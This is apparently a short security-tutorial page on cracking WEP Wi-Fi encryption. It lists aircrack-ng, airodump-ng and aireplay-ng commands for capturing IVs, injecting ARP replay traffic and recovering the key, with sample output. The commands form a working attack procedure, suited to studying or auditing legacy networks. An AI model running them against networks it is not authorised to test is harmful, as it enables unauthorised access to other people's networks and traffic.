WEP Cracking
Breaking WEP encryption (deprecated but still found on legacy networks).
Methodology
- 1Capture IVs (Initialization Vectors)
- 2Generate enough weak IVs
- 3Run statistical analysis
- 4Recover the encryption key
Detailed Steps
bash
# Capture WEP traffic
sudo airodump-ng -c 6 -w wep_capture --bssid AA:BB:CC:DD:EE:FF wlan0
# In another terminal, accelerate IV generation
sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0
# Generate traffic (ARP replay)
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h 11:22:33:44:55:66 wlan0bash
# Analyze captured packets
sudo aircrack-ng wep_capture-01.cap
# Specify BSSID
sudo aircrack-ng -b AA:BB:CC:DD:EE:FF wep_capture-01.cap
# PTW method (faster)
sudo aircrack-ng -z wep_capture-01.cap
# Output shows recovered key
# WEP KEY FOUND! [00:11:22:33:44]Tools
aircrack-ngaireplay-ngairodump-ng